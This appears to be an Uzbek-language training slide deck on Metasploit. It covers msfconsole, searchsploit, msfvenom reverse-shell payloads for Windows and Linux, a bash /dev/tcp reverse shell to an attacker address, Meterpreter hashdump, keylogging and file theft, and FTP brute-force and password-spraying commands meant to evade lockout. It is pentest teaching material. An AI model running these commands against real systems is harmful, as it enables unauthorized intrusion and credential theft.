

METASPLOIT

TAKRORLASH

Penetration Testing Framework — Dars tayyorgarlighi

msfconsole | searchsploit | Windows Shell | Linux Shell | Meterpreter | FTP Brute | FTP Spread

Bugungi dars rejasi

01

msfconsole

Metasploit asosiy interfeysi va buyruqlari

02

searchsploit

ExploitDB qidiruv vositasi

03

Windows Reverse Shell

Windows tizimiga kirish

04

Linux Reverse Shell

Linux tizimiga kirish

05

Meterpreter

Post-exploitation sessiya boshqaruvi

06

FTP Brute Force

Parol kuch bilan topish

07

FTP User Spread

Username ro'yxati bilan hujum

Metasploit Framework nima?

- Rapid7 tomonidan yaratilgan ochiq manbali penetration testing framework
- 2003-yilda HD Moore tomonidan boshlangan, hozir 2000+ exploit mavjud
- Kali Linux, Parrot OS va boshqa pentest distributivlarida standart o'rnatilgan
- Exploit topish, ishlatish va post-exploitation uchun to'liq ekotizim
- Ruby tilida yozilgan, modulli tuzilish — har bir funktsiya alohida modul

Interfaces

msfconsole / msfvenom / Armitage

Modules

exploit / payload / auxiliary / post

Database

PostgreSQL — hosts, loot, sessions

Network

Target → Listener ← Attacker

msfconsole — Asosiy interfeys

- Metasploitning asosiy buyruq satri interfeysi
- Tab-completion, history, va inline help mavjud
- Ruby interpreter — to'g'ridan to'g'ri Ruby kodi yozish mumkin
- Barcha modullar, payloadlar va sessiyalar shu yerdan boshqariladi

```
# MSFconsole ishga tushirish  
$ msfconsole
```

```
# Yoki database bilan  
$ service postgresql start  
$ msfconsole
```

```
# Versiyani tekshirish  
msf6 > version
```

Asosiy buyruqlar

help	Barcha buyruqlar ro'yxati
search <nom>	Modul qidirish
use <modul>	Modul tanlash
info	Modul ma'lumoti
show options	Parametrlar ko'rsatish
set <opt> <v>	Parametr o'rnatish
run / exploit	Hujumni boshlash
sessions	Aktiv sessiyalar
back	Moduldan chiqish
exit	MSF dan chiqish

msfconsole — search, use, options

```
# CVE bo'yicha qidirish
msf6 > search cve:2017-0144
# Kalit so'z bilan
msf6 > search type:exploit platform:windows smb
# Modul tanlash (nomeri bilan ham bo'ladi)
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) >
# Barcha parametrlarni ko'rish
msf6 exploit(...) > show options
# Kerakli parametrlarni o'rnatish
msf6 exploit(...) > set RHOSTS 192.168.1.10
msf6 exploit(...) > set LHOST 192.168.1.5
msf6 exploit(...) > set LPORT 4444
# Hujum
msf6 exploit(...) > run
```

searchsploit — Offline ExploitDB

- ExploitDB ning mahalliy nusxasida qidiruv vositasi
- Internet siz ham exploit topish imkoni — pentest muhitida foydali
- Kali Linux da exploit-database paketi keladi
- Metasploit modullariga to'g'ridan to'g'ri import qilish mumkin

```
# Asosiy qidirish  
$ searchsploit apache 2.4
```

```
# CVE raqam bilan qidirish  
$ searchsploit cve-2021-41773
```

```
# Aniq platforma bilan  
$ searchsploit --os windows smb
```

```
# Faqat Metasploit modullari  
$ searchsploit -t eternalblue --exclude='Denial'  
# Exploit faylni ko'chirish (ishlash uchun)  
$ searchsploit -m 42315
```

```
# MSF ga to'g'ridan to'g'ri yuklash  
$ searchsploit -x windows/remote/42315.rb
```

```
# Ma'lumotlar bazasini yangilash  
$ searchsploit -u
```

Windows Reverse Shell — Nazariya



- Reverse shell: qurbon bizning listenerimizga ulanadi (firewall chetlash uchun)
- Normal shell: biz qurbonga ulanamiz (NAT/firewall to'sishi mumkin)
- msfvenom — payload yaratish uchun maxsus vosita
- Payload turlari: staged (/) va stageless (//) — staged kichikroq, lekin tarmoq kerak

staged: windows/meterpreter/reverse_tcp || stageless: windows/meterpreter_reverse_tcp

Windows Reverse Shell — Amaliyot

1. msfvenom bilan Windows payload yaratish

```
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe -o shell.exe
```

2. Qurbonga yetkazish (HTTP server orqali)

```
$ python3 -m http.server 8080
```

3. MSF da listener ochish

```
$ msfconsole -q
```

```
msf6 > use exploit/multi/handler
```

```
msf6 exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
```

```
msf6 exploit(handler) > set LHOST 192.168.1.5
```

```
msf6 exploit(handler) > set LPORT 4444
```

```
msf6 exploit(handler) > run
```

4. Qurbonda shell.exe ishga tushirilganda — sessiya ochiladi!

```
[*] Sending stage (200774 bytes) to 192.168.1.10
```

```
[*] Meterpreter session 1 opened
```


Linux Reverse Shell — Nazariya

- Linux payloadlari ELF formatida yaratiladi (Windows EXE ga o'xshash)
- Bash, Python, Netcat, Perl bilan ham oddiy reverse shell yasash mumkin
- Linux serverlar ko'pincha internetda ochiq — real hujumlarda ko'p uchraydi
- setuid bit, cron job, writable /etc/passwd — PrivEsc vektorlari
- Meterpreter Linux da ham ishlaydi, lekin ba'zi funksiyalar cheklangan

Payload formatlari Linux uchun:

elf

Linux binary (asosiy)

elf-so

Shared object (.so
kutubxona)

raw

Xom shellcode —
boshqa exploit ichiga
kiritish uchun

py

Python script sifatida

bash

Bash script sifatida

Linux Reverse Shell — Amaliyot

1. Linux ELF payload yaratish

```
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=5555 -f elf -o shell.elf
```

2. Bajarish huquqi berish (qurbonda)

```
$ chmod +x shell.elf
```

3. Listener (Kali da)

```
msf6 > use exploit/multi/handler
```

```
msf6 > set payload linux/x64/meterpreter/reverse_tcp
```

```
msf6 > set LHOST 192.168.1.5
```

```
msf6 > set LPORT 5555
```

```
msf6 > run
```

BONUS — Netcat bilan oddiy bash shell (MSF siz)

Qurbonda:

```
$ bash -i >& /dev/tcp/192.168.1.5/9001 0>&1
```

Kali da:

```
$ nc -lvnp 9001
```

Meterpreter — Nima va Nima uchun?

- Metasploitning kuchli post-exploitation agenti — oddiy shelldan ancha yuqori
- Xotirada ishlaydi — diskka yozilmaydi (fileless) → antivirus qiyinroq aniqlaydi
- TLS bilan shifrlangan kanal — tarmoq monitoringida ham yashirin
- Fayl tizimi, screenshot, keylogger, pivot, token impersonation va ko'p narsa
- Sessiya background da ishlaydi — bir vaqtda ko'p qurbon boshqarish mumkin

Tizim ma'lumoti

sysinfo getuid getpid ps

Fayl tizimi

ls pwd cd upload download

Tarmoq

ipconfig arp netstat portfwd

Imtiyoz oshirish

getsystem hashdump steal_token

Meterpreter — Muhim Buyruqlar

```
# Sessiyaga kirish
msf6 > sessions -l      # barcha sessiyalar
msf6 > sessions -i 1    # 1-sessiyaga kirish

# Tizim ma'lumotlari
meterpreter > sysinfo
meterpreter > getuid     # kim sifatida ishlayapmiz
meterpreter > getpid     # jarayon ID

# Fayl operatsiyalari
meterpreter > upload /home/kali/tool.exe C:\\Windows\\Temp\\
meterpreter > download C:\\Users\\Admin\\secret.txt /tmp/

# Imtiyoz oshirish
meterpreter > getsystem  # SYSTEM ga o'tish urinish
meterpreter > hashdump   # NTLM hashlar olish

# Sessiyani background ga
meterpreter > background # yoki Ctrl+Z

# Screenshot va keylogger
meterpreter > screenshot
meterpreter > keyscan_start && keyscan_dump
```

FTP Parol Brute Force Hujumi

- Brute force: barcha mumkin bo'lgan parollarni ketma-ket sinash
- Dictionary attack: wordlist (lug'at) fayl asosida sinash — tezroq
- Metasploit auxiliary/scanner/ftp/ftp_login moduli bunga mo'ljallangan
- Hydra va Medusa ham mashhur alternativlar — ko'pincha tezroq
- Real pentest da: rockyou.txt, company specific wordlist ishlatiladi

```
# MSF bilan FTP brute force
msf6 > use auxiliary/scanner/ftp/ftp_login
msf6 auxiliary(ftp_login) > set RHOSTS 192.168.1.20
msf6 auxiliary(ftp_login) > set RPORT 21
msf6 auxiliary(ftp_login) > set USERNAME admin
msf6 auxiliary(ftp_login) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(ftp_login) > set THREADS 10
msf6 auxiliary(ftp_login) > run

# Hydra alternativ
$ hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.20

# Aniq portda
$ hydra -l admin -P wordlist.txt 192.168.1.20 ftp -s 6789 -t 10
```

FTP Username Spread (User Enumeration)

- Username spread: username ro'yxati bilan har birini bitta parol bilan sinash
- Password spray deb ham ataladi — account lockout dan qochish uchun foydali
- Lockout policy bo'lganda (masalan 5 urinish → bloklash) bu usul samarali
- Bir nechta username + bir parol → ko'p username + bir nechta parol (spread)
- Maqsad: log'da anomaliya chiqarmasdan kirish topish

```
# MSF bilan username ro'yxatidan foydalanish
msf6 > use auxiliary/scanner/ftp/ftp_login
msf6 auxiliary(ftp_login) > set RHOSTS 192.168.1.20
msf6 auxiliary(ftp_login) > set USER_FILE /usr/share/seclists/Username/top-username-shortlist.txt
msf6 auxiliary(ftp_login) > set PASSWORD password123
msf6 auxiliary(ftp_login) > set THREADS 5
msf6 auxiliary(ftp_login) > set STOP_ON_SUCCESS true
msf6 auxiliary(ftp_login) > run
# Hydra bilan ham xuddi shunday
$ hydra -L users.txt -p password123 ftp://192.168.1.20
# Username + Parol juftliklari fayli bilan
$ hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt ftp://192.168.1.20
```

XULOSA

- ✓ msfconsole search → use → set → run — asosiy workflow
- ✓ searchsploit offline ExploitDB — tarmoqsiz ham exploit topamiz
- ✓ Windows R.Shell msfvenom EXE + multi/handler listener
- ✓ Linux R.Shell msfvenom ELF + bash /dev/tcp alternativ
- ✓ Meterpreter fileless agent — hashdump, getsystem, pivot
- ✓ FTP Brute ftp_login auxiliary + Hydra — wordlist asosida
- ✓ FTP Spread USER_FILE + bitta parol — lockout chetlash